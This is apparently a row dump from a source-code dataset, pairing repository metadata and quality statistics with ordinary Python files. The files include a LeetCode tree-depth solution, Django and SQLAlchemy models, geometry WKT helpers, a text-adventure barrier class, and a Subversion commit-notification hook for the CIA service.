hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
5785e6a036807a5d9394d69f5f7eaf543965d731
879
py
Python
Tree/maxDepth.py
konantian/LeetCode
f97609cfe139159bc000cac5b39a1d0c28517d24
[ "MIT" ]
2
2018-06-02T03:57:20.000Z
2018-10-20T22:15:17.000Z
Tree/maxDepth.py
konantian/leetcode
f97609cfe139159bc000cac5b39a1d0c28517d24
[ "MIT" ]
null
null
null
Tree/maxDepth.py
konantian/leetcode
f97609cfe139159bc000cac5b39a1d0c28517d24
[ "MIT" ]
1
2019-01-31T05:17:19.000Z
2019-01-31T05:17:19.000Z
''' Source : https://leetcode.com/problems/maximum-depth-of-binary-tree/ Author : Yuan Wang Date : 2018-07-21 /********************************************************************************** *Given a binary tree, find its maximum depth. * *The maximum depth is the number of nodes along the longest path from the root node *down to the farthest leaf node. * *Note: A leaf is a node with no children. * *Example: * *Given binary tree [3,9,20,null,null,15,7], * * 3 * / \ * 9 20 * / \ * 15 7 *return its depth = 3. **********************************************************************************/ ''' def maxDepth(self, root): """ :type root: TreeNode :rtype: int """ depth=0 return self.calDepth(root,depth) def calDepth(self,root,depth): if root: depth+=1 return max(self.calDepth(root.left,depth),self.calDepth(root.right,depth)) return depth
21.975
84
0.544937
115
879
4.165217
0.530435
0.075157
0.100209
0
0
0
0
0
0
0
0
0.033557
0.152446
879
40
85
21.975
0.609396
0.739477
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0
0
0.625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
57891dccfc7a6660f1ab82ce9811e218955d5cf9
685
py
Python
geoscript/geom/io/wkt.py
jericks/geoscript-py
8dc600343f42dd87b1981023522a1a8cf56006a9
[ "MIT" ]
null
null
null
geoscript/geom/io/wkt.py
jericks/geoscript-py
8dc600343f42dd87b1981023522a1a8cf56006a9
[ "MIT" ]
null
null
null
geoscript/geom/io/wkt.py
jericks/geoscript-py
8dc600343f42dd87b1981023522a1a8cf56006a9
[ "MIT" ]
null
null
null
from com.vividsolutions.jts.io import WKTReader, WKTWriter from geoscript.util import deprecated def readWKT(wkt): """ Constructs a geometry from Well Known Text. *wkt* is the Well Known Text string representing the geometry as described by http://en.wikipedia.org/wiki/Well-known_text. >>> readWKT('POINT (1 2)') POINT (1 2) """ return WKTReader().read(wkt) @deprecated def fromWKT(wkt): """Use :func:`readWKT`""" return readWKT(wkt) def writeWKT(g): """ Writes a geometry as Well Known Text. *g* is the geometry to serialize. >>> from geoscript.geom import Point >>> str(writeWKT(Point(1,2))) 'POINT (1 2)' """ return WKTWriter().write(g)
20.757576
125
0.683212
98
685
4.765306
0.489796
0.077088
0.111349
0.051392
0.085653
0.085653
0.085653
0
0
0
0
0.014235
0.179562
685
32
126
21.40625
0.816726
0.559124
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0.222222
0
0.888889
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
579790343ca70d2a664becf8ebf185a247791ae7
1,862
py
Python
neighbourhood/models.py
Mutembeijoe/hood_yetu
5759bbf95a8dd0c7a62987773b71a1a7531ae074
[ "MIT" ]
null
null
null
neighbourhood/models.py
Mutembeijoe/hood_yetu
5759bbf95a8dd0c7a62987773b71a1a7531ae074
[ "MIT" ]
9
2020-02-12T03:06:29.000Z
2022-03-12T00:11:25.000Z
neighbourhood/models.py
Mutembeijoe/hood_yetu
5759bbf95a8dd0c7a62987773b71a1a7531ae074
[ "MIT" ]
null
null
null
from django.db import models from django.contrib.postgres.fields import ArrayField from django.urls import reverse # Create your models here. class Neighbourhood(models.Model): image = models.ImageField(upload_to='neighbourhood_avatars', default='dummy_neighbourhood.jpg') name = models.CharField(max_length=200) location = models.CharField(max_length=200) police_hotline= ArrayField(models.CharField(max_length=13, blank=True),size=3, blank=True, null=True) hospital_hotline= ArrayField(models.CharField(max_length=13, blank=True),size=3, blank=True, null=True) def __str__(self): return self.name def get_absolute_url(self): return reverse('home') class Business(models.Model): FOOD = 1 BEAUTY = 2 SOCIAL = 3 ENTERTAINMENT = 4 HOUSING = 5 BUSINESS_CATEGORIES = [ (FOOD, 'Food and Beverages'), (BEAUTY, 'Beauty shops'), (SOCIAL,'Social Amentity'), (ENTERTAINMENT, 'Entertainment'), (HOUSING, 'Housing'), ] image = models.ImageField(upload_to='business_avatars', default='business.jpg') name = models.CharField(max_length=200) location = models.CharField(max_length=200) description = models.TextField(blank=True, null=True) category = models.PositiveSmallIntegerField(choices=BUSINESS_CATEGORIES) neighbourhood = models.ForeignKey(Neighbourhood, on_delete=models.CASCADE, related_name='businesses') def __str__(self): return self.name def get_absolute_url(self): return reverse('neighbourhood', args=[self.neighbourhood.id]) @classmethod def search_business(cls,search_term,hood): return cls.objects.get( models.Q(name__icontains = search_term), models.Q(description__icontains =search_term), models.Q(neighbourhood = hood) )
33.854545
107
0.697637
216
1,862
5.842593
0.388889
0.071315
0.085578
0.114105
0.405705
0.318542
0.318542
0.318542
0.318542
0.318542
0
0.015323
0.193878
1,862
55
108
33.854545
0.82545
0.012889
0
0.232558
0
0
0.089276
0.023952
0
0
0
0
0
1
0.116279
false
0
0.069767
0.116279
0.744186
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
579ed39e3894484e564f4d2f67bafed408849d23
169
py
Python
seno/wallet/trading/trade_status.py
emilson0407/seno-blockchain
fa73fc06639faaacbb82504a6c8698c3bcab57c0
[ "Apache-2.0" ]
11,902
2019-12-05T00:14:29.000Z
2022-03-31T23:25:37.000Z
seno/wallet/trading/trade_status.py
emilson0407/seno-blockchain
fa73fc06639faaacbb82504a6c8698c3bcab57c0
[ "Apache-2.0" ]
5,246
2019-12-05T04:00:03.000Z
2022-03-31T21:33:30.000Z
seno/wallet/trading/trade_status.py
emilson0407/seno-blockchain
fa73fc06639faaacbb82504a6c8698c3bcab57c0
[ "Apache-2.0" ]
2,149
2019-12-05T11:12:53.000Z
2022-03-31T06:08:34.000Z
from enum import Enum class TradeStatus(Enum): PENDING_ACCEPT = 0 PENDING_CONFIRM = 1 PENDING_CANCEL = 2 CANCELED = 3 CONFIRMED = 4 FAILED = 5
15.363636
24
0.650888
22
169
4.863636
0.818182
0
0
0
0
0
0
0
0
0
0
0.05042
0.295858
169
10
25
16.9
0.84874
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.125
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
57af48c7c6ce730f18de8225a93c02bfa45f922d
1,741
py
Python
src/pkg/caendr/caendr/models/sql/wormbase_gene_summary.py
AndersenLab/CAENDR
ce4cdb74db736db8226ffc90988959b71b0d5ff5
[ "MIT" ]
3
2022-02-09T07:04:37.000Z
2022-03-11T02:46:35.000Z
src/pkg/caendr/caendr/models/sql/wormbase_gene_summary.py
AndersenLab/CAENDR
ce4cdb74db736db8226ffc90988959b71b0d5ff5
[ "MIT" ]
4
2022-01-28T22:28:08.000Z
2022-02-11T21:47:15.000Z
src/pkg/caendr/caendr/models/sql/wormbase_gene_summary.py
AndersenLab/CAENDR
ce4cdb74db736db8226ffc90988959b71b0d5ff5
[ "MIT" ]
1
2022-01-11T03:39:02.000Z
2022-01-11T03:39:02.000Z
from caendr.services.cloud.postgresql import db from caendr.models.sql.dict_serializable import DictSerializable from sqlalchemy import func, or_ from sqlalchemy.ext.hybrid import hybrid_property class WormbaseGeneSummary(DictSerializable, db.Model): """ This is a condensed version of the WormbaseGene model; It is constructed out of convenience and only defines the genes (not exons/introns/etc.) """ id = db.Column(db.Integer, primary_key=True) chrom = db.Column(db.String(7), index=True) chrom_num = db.Column(db.Integer(), index=True) start = db.Column(db.Integer(), index=True) end = db.Column(db.Integer(), index=True) locus = db.Column(db.String(30), index=True) gene_id = db.Column(db.String(25), unique=True, index=True) gene_id_type = db.Column(db.String(15), index=False) sequence_name = db.Column(db.String(30), index=True) biotype = db.Column(db.String(30), nullable=True) gene_symbol = db.column_property(func.coalesce(locus, sequence_name, gene_id)) # interval = db.column_property(func.format("%s:%s-%s", chrom, start, end)) arm_or_center = db.Column(db.String(12), index=True) __tablename__ = "wormbase_gene_summary" __gene_id_constraint__ = db.UniqueConstraint(gene_id) @hybrid_property def interval(self): return f"{self.chrom}:{self.start}-{self.end}" # TODO: move this somewhere else @classmethod def resolve_gene_id(cls, query): """ query - a locus name or transcript ID output - a wormbase gene ID Example: WormbaseGene.resolve_gene_id('pot-2') --> WBGene00010195 """ result = cls.query.filter(or_(cls.locus == query, cls.sequence_name == query)).first() if result: return result.gene_id
37.847826
90
0.711086
249
1,741
4.823293
0.405622
0.086595
0.09159
0.093256
0.124896
0.109908
0.044963
0
0
0
0
0.015089
0.16255
1,741
45
91
38.688889
0.808642
0.219414
0
0
0
0
0.044289
0.044289
0
0
0
0.022222
0
1
0.074074
false
0
0.148148
0.037037
0.851852
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
1
0
0
2
57ba16515c786535378110b8430cbadfa8476104
310
py
Python
mmdet/apis/__init__.py
ar90n/ttfnet
99dbfa888f90c8161c2c1666b2d17cdb144dbc30
[ "Apache-2.0" ]
36
2019-06-17T02:00:36.000Z
2022-03-10T07:54:07.000Z
mmdet/apis/__init__.py
ar90n/ttfnet
99dbfa888f90c8161c2c1666b2d17cdb144dbc30
[ "Apache-2.0" ]
6
2020-03-17T03:53:53.000Z
2022-03-30T07:57:40.000Z
mmdet/apis/__init__.py
ar90n/ttfnet
99dbfa888f90c8161c2c1666b2d17cdb144dbc30
[ "Apache-2.0" ]
4
2019-06-17T02:00:35.000Z
2021-09-22T14:44:29.000Z
from .env import get_root_logger, init_dist, set_random_seed from .inference import inference_detector, init_detector, show_result from .train import train_detector __all__ = [ 'init_dist', 'get_root_logger', 'set_random_seed', 'train_detector', 'init_detector', 'inference_detector', 'show_result' ]
34.444444
72
0.787097
42
310
5.285714
0.404762
0.063063
0.117117
0
0
0
0
0
0
0
0
0
0.116129
310
8
73
38.75
0.810219
0
0
0
0
0
0.306452
0
0
0
0
0
0
1
0
false
0
0.428571
0
0.428571
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
57ca6b765a520ecf380512aee08b9a30756ae5fb
1,481
py
Python
2019-2020/MATH_1301_Python/Zork/barriers.py
TSoGiants/Foundations
4546c9ee7be802e4c48ab8b1bab60869ea89e6a6
[ "Unlicense" ]
null
null
null
2019-2020/MATH_1301_Python/Zork/barriers.py
TSoGiants/Foundations
4546c9ee7be802e4c48ab8b1bab60869ea89e6a6
[ "Unlicense" ]
null
null
null
2019-2020/MATH_1301_Python/Zork/barriers.py
TSoGiants/Foundations
4546c9ee7be802e4c48ab8b1bab60869ea89e6a6
[ "Unlicense" ]
null
null
null
##################### ### Base classes. ### ##################### class barrier: synonyms = ["wall"] m_description = "There is a barrier in the way." def __init__(self, passable=False): self.passable = passable def __str__(self): return self.m_description def __repr__(self): return self.synonyms[0] class passage(barrier): synonyms = ["clearing"] m_description = "There is a clearing ahead." def __init__(self, passable=True): self.passable = passable class door(barrier): synonyms = ["door"] m_description = "There is door ahead." m_already_open = "The door is already opened." m_on_open = "You opened the door." m_already_closed = "The door is already closed." m_on_close = "You closed the door." def open(self): if self.passable: return self.m_already_open else: self.passable = True return self.m_on_open def close(self): if not self.passable: return self.m_already_closed else: self.passable = False return self.m_on_close def __str__(self): if self.passable: s = "opened" else: s = "closed" s = f"{self.m_description} It is currently {s}." return s ###################### ### Child classes. ### ######################
25.101695
56
0.519919
163
1,481
4.472393
0.263804
0.148148
0.075446
0.078189
0.137174
0.082305
0
0
0
0
0
0.001015
0.334909
1,481
59
57
25.101695
0.739086
0.019581
0
0.225
0
0
0.176644
0
0
0
0
0
0
1
0.175
false
0.25
0
0.05
0.675
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
57cf7c7be10d8c27847604d37eb3c00a440f9f34
1,111
py
Python
autotf/selector/base_selector.py
zwt233/autotf
8223606047a4e0e2795cf7befee8c6f7a44a6ec4
[ "BSD-3-Clause" ]
1
2021-04-15T15:56:10.000Z
2021-04-15T15:56:10.000Z
autotf/selector/base_selector.py
zwt233/autotf
8223606047a4e0e2795cf7befee8c6f7a44a6ec4
[ "BSD-3-Clause" ]
null
null
null
autotf/selector/base_selector.py
zwt233/autotf
8223606047a4e0e2795cf7befee8c6f7a44a6ec4
[ "BSD-3-Clause" ]
null
null
null
class BaseSelector: def __init__(self): pass def select_model(self, X, y, total_time, learners=None, metric=None, save_directory=None): """ Find the best model with its hyperparameters from the autotf's model zool Parameters ---------- X: array-like or sparse matrix y: the target classes total_time: the training time metric: the eay to evaluate the model save_directory: the path to save the """ return "the best model object" def fit(self, X, y): """ Train with the best model """ pass def predict(self, X): """ Predict with the best model """ def best_score(self): """ Return the best score such as cross-validation accuracy or f1. :return: """ return "best score" def show_models(self): """ Display the models which the selector has found. :return: """ pass
22.673469
81
0.50405
122
1,111
4.5
0.483607
0.063752
0.087432
0.058288
0
0
0
0
0
0
0
0.001541
0.415842
1,111
49
82
22.673469
0.844376
0.394239
0
0.1875
0
0
0.063918
0
0
0
0
0
0
1
0.375
false
0.1875
0
0
0.5625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
57d2bee9c3f83e95b3a975a6474c1974993fb8ef
15,013
py
Python
src/tools/dev/scripts/hooks/ciabot_svn.py
eddieTest/visit
ae7bf6f5f16b01cf6b672d34e2d293fa7170616b
[ "BSD-3-Clause" ]
null
null
null
src/tools/dev/scripts/hooks/ciabot_svn.py
eddieTest/visit
ae7bf6f5f16b01cf6b672d34e2d293fa7170616b
[ "BSD-3-Clause" ]
null
null
null
src/tools/dev/scripts/hooks/ciabot_svn.py
eddieTest/visit
ae7bf6f5f16b01cf6b672d34e2d293fa7170616b
[ "BSD-3-Clause" ]
1
2020-03-18T23:17:43.000Z
2020-03-18T23:17:43.000Z
#!/usr/bin/env python # # This is a CIA client script for Subversion repositories, written in python. # It generates commit messages using CIA's XML format, and can deliver them # using either XML-RPC or email. See below for usage and cuztomization # information. # # -------------------------------------------------------------------------- # # Copyright (c) 2004-2007, Micah Dowty # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * The name of the author may not be used to endorse or promote products # derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # -------------------------------------------------------------------------- # # This script is cleaner and much more featureful than the shell # script version, but won't work on systems without Python. # # To use the CIA bot in your Subversion repository... # # 1. Customize the parameters below # # 2. This script should be called from your repository's post-commit # hook with the repository and revision as arguments. For example, # you could copy this script into your repository's "hooks" directory # and add something like the following to the "post-commit" script, # also in the repository's "hooks" directory: # # REPOS="$1" # REV="$2" # $REPOS/hooks/ciabot_svn.py "$REPOS" "$REV" & # # Or, if you have multiple project hosted, you can add each # project's name to the commandline in that project's post-commit # hook: # # $REPOS/hooks/ciabot_svn.py "$REPOS" "$REV" "ProjectName" & # ############# There are some parameters for this script that you can customize: class config: # Replace this with your project's name, or always provide a project # name on the commandline. # # NOTE: This shouldn't be a long description of your project. Ideally # it is a short identifier with no spaces, punctuation, or # unnecessary capitalization. This will be used in URLs related # to your project, as an internal identifier, and in IRC messages. # If you want a longer name shown for your project on the web # interface, please use the "title" metadata key rather than # putting that here. # project = "VisIt" # Subversion's normal directory hierarchy is powerful enough that # it doesn't have special methods of specifying modules, tags, or # branches like CVS does. Most projects do use a naming # convention though that works similarly to CVS's modules, tags, # and branches. # # This is a list of regular expressions that are tested against # paths in the order specified. If a regex matches, the 'branch' # and 'module' groups are stored and the matching section of the # path is removed. # # Several common directory structure styles are below as defaults. # Uncomment the ones you're using, or add your own regexes. # Whitespace in the each regex are ignored. pathRegexes = [ r"^ trunk/ (?P<module>[^/]+)/ ", r"^ (branches|tags)/ (?P<branch>[^/]+)/ ", # r"^ (branches|tags)/ (?P<module>[^/]+)/ (?P<branch>[^/]+)/ ", ] # If your repository is accessible over the web, put its base URL here # and 'uri' attributes will be given to all <file> elements. This means # that in CIA's online message viewer, each file in the tree will link # directly to the file in your repository. repositoryURI = "http://visit.ilight.com/svn/visit/" # If your repository is accessible over the web via a tool like ViewVC # that allows viewing information about a full revision, put a format string # for its URL here. You can specify various substitution keys in the Python # syntax: "%(project)s" is replaced by the project name, and likewise # "%(revision)s" and "%(author)s" are replaced by the revision / author. # The resulting URI is added to the data sent to CIA. After this, in CIA's # online message viewer, the commit will link directly to the corresponding # revision page. revisionURI = None # Example (works for ViewVC as used by SourceForge.net): #revisionURI = "https://svn.sourceforge.net/viewcvs.cgi/%(project)s?view=rev&rev=%(revision)s" # This can be the http:// URI of the CIA server to deliver commits over # XML-RPC, or it can be an email address to deliver using SMTP. The # default here should work for most people. If you need to use e-mail # instead, you can replace this with "cia@cia.navi.cx" server = "http://cia.navi.cx" # The SMTP server to use, only used if the CIA server above is an # email address. smtpServer = "localhost" # The 'from' address to use. If you're delivering commits via email, set # this to the address you would normally send email from on this host. fromAddress = "fogal1@localhost" # When nonzero, print the message to stdout instead of delivering it to CIA. debug = 0 ############# Normally the rest of this won't need modification import sys, os, re, urllib, getopt class File: """A file in a Subversion repository. According to our current configuration, this may have a module, branch, and URI in addition to a path.""" # Map svn's status letters to our action names actionMap = { 'U': 'modify', 'A': 'add', 'D': 'remove', } def __init__(self, fullPath, status=None): self.fullPath = fullPath self.path = fullPath self.action = self.actionMap.get(status) def getURI(self, repo): """Get the URI of this file, given the repository's URI. This encodes the full path and joins it to the given URI.""" quotedPath = urllib.quote(self.fullPath) if quotedPath[0] == '/': quotedPath = quotedPath[1:] if repo[-1] != '/': repo = repo + '/' return repo + quotedPath def makeTag(self, config): """Return an XML tag for this file, using the given config""" attrs = {} if config.repositoryURI is not None: attrs['uri'] = self.getURI(config.repositoryURI) if self.action: attrs['action'] = self.action attrString = ''.join([' %s="%s"' % (key, escapeToXml(value,1)) for key, value in attrs.items()]) return "<file%s>%s</file>" % (attrString, escapeToXml(self.path)) class SvnClient: """A CIA client for Subversion repositories. Uses svnlook to gather information""" name = 'Python Subversion client for CIA' version = '1.20' def __init__(self, repository, revision, config): self.repository = repository self.revision = revision self.config = config def deliver(self, message): if config.debug: print message else: server = self.config.server if server.startswith('http:') or server.startswith('https:'): # Deliver over XML-RPC import xmlrpclib xmlrpclib.ServerProxy(server).hub.deliver(message) else: # Deliver over email import smtplib smtp = smtplib.SMTP(self.config.smtpServer) smtp.sendmail(self.config.fromAddress, server, "From: %s\r\nTo: %s\r\n" "Subject: DeliverXML\r\n\r\n%s" % (self.config.fromAddress, server, message)) def main(self): self.collectData() self.deliver("<message>" + self.makeGeneratorTag() + self.makeSourceTag() + self.makeBodyTag() + "</message>") def makeAttrTags(self, *names): """Given zero or more attribute names, generate XML elements for those attributes only if they exist and are non-None. """ s = '' for name in names: if hasattr(self, name): v = getattr(self, name) if v is not None: # Recent Pythons don't need this, but Python 2.1 # at least can't convert other types directly # to Unicode. We have to take an intermediate step. if type(v) not in (type(''), type(u'')): v = str(v) s += "<%s>%s</%s>" % (name, escapeToXml(v), name) return s def makeGeneratorTag(self): return "<generator>%s</generator>" % self.makeAttrTags( 'name', 'version', ) def makeSourceTag(self): return "<source>%s</source>" % self.makeAttrTags( 'project', 'module', 'branch', ) def makeBodyTag(self): return "<body><commit>%s%s</commit></body>" % ( self.makeAttrTags( 'revision', 'author', 'log', 'diffLines', 'url', ), self.makeFileTags(), ) def makeFileTags(self): """Return XML tags for our file list""" return "<files>%s</files>" % ''.join([file.makeTag(self.config) for file in self.files]) def svnlook(self, command): """Run the given svnlook command on our current repository and revision, returning all output""" # We have to set LC_ALL to force svnlook to give us UTF-8 output, # then we explicitly slurp that into a unicode object. return unicode(os.popen( 'LC_ALL="en_US.UTF-8" svnlook %s -r "%s" "%s"' % (command, self.revision, self.repository)).read(), 'utf-8', 'replace') def collectData(self): self.author = self.svnlook('author').strip() self.project = self.config.project self.log = self.svnlook('log') self.diffLines = len(self.svnlook('diff').split('\n')) self.files = self.collectFiles() if self.config.revisionURI is not None: self.url = self.config.revisionURI % self.__dict__ else: self.url = None def collectFiles(self): # Extract all the files from the output of 'svnlook changed' files = [] for line in self.svnlook('changed').split('\n'): path = line[2:].strip() if path: status = line[0] files.append(File(path, status)) # Try each of our several regexes. To be applied, the same # regex must mach every file under consideration and they must # all return the same results. If we find one matching regex, # or we try all regexes without a match, we're done. matchDict = None for regex in self.config.pathRegexes: matchDict = matchAgainstFiles(regex, files) if matchDict is not None: self.__dict__.update(matchDict) break return files def matchAgainstFiles(regex, files): """Try matching a regex against all File objects in the provided list. If the regex returns the same matches for every file, the matches are returned in a dict and the matched portions are filtered out. If not, returns None. """ prevMatchDict = None compiled = re.compile(regex, re.VERBOSE) for f in files: match = compiled.match(f.fullPath) if not match: # Give up, it must match every file return None matchDict = match.groupdict() if prevMatchDict is not None and prevMatchDict != matchDict: # Give up, we got conflicting matches return None prevMatchDict = matchDict # If we got this far, the regex matched every file with # the same results. Now filter the matched portion out of # each file and store the matches we found. for f in files: f.path = compiled.sub('', f.fullPath) return prevMatchDict def escapeToXml(text, isAttrib=0): text = unicode(text) text = text.replace("&", "&amp;") text = text.replace("<", "&lt;") text = text.replace(">", "&gt;") if isAttrib == 1: text = text.replace("'", "&apos;") text = text.replace("\"", "&quot;") return text def usage(): """Print a short usage description of this script and exit""" sys.stderr.write("Usage: %s [OPTIONS] REPOS-PATH REVISION [PROJECTNAME]\n" % sys.argv[0]) def version(): """Print out the version of this script""" sys.stderr.write("%s %s\n" % (sys.argv[0], SvnClient.version)) def main(): try: options = [ "version" ] for key in config.__dict__: if not key.startswith("_"): options.append(key + "="); opts, args = getopt.getopt(sys.argv[1:], "", options) except getopt.GetoptError: usage() sys.exit(2) for o, a in opts: if o == "--version": version() sys.exit() else: # Everything else maps straight to a config key. Just have # to remove the "--" prefix from the option name. config.__dict__[o[2:]] = a # Print a usage message when not enough parameters are provided. if not len(args) in (2,3): sys.stderr.write("%s: incorrect number of arguments\n" % sys.argv[0]) usage(); sys.exit(2); # If a project name was provided, override the default project name. if len(args) == 3: config.project = args[2] # Go do the real work. SvnClient(args[0], args[1], config).main() if __name__ == "__main__": main() ### The End ###
37.626566
98
0.605142
1,920
15,013
4.711979
0.289063
0.012159
0.004974
0.002984
0.045319
0.035371
0.029844
0.023433
0.015033
0.015033
0
0.00402
0.287551
15,013
398
99
37.721106
0.84181
0.43842
0
0.043243
1
0
0.100597
0.008198
0
0
0
0
0
0
null
null
0
0.016216
null
null
0.005405
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
57f817e2249400abb14e5d1810b119046f3d3c71
425
py
Python
17b.py
znuxor/adventofcode2017
79d0df07f24ea8d2793df3b1c853a85b760791c1
[ "BSD-3-Clause" ]
null
null
null
17b.py
znuxor/adventofcode2017
79d0df07f24ea8d2793df3b1c853a85b760791c1
[ "BSD-3-Clause" ]
null
null
null
17b.py
znuxor/adventofcode2017
79d0df07f24ea8d2793df3b1c853a85b760791c1
[ "BSD-3-Clause" ]
null
null
null
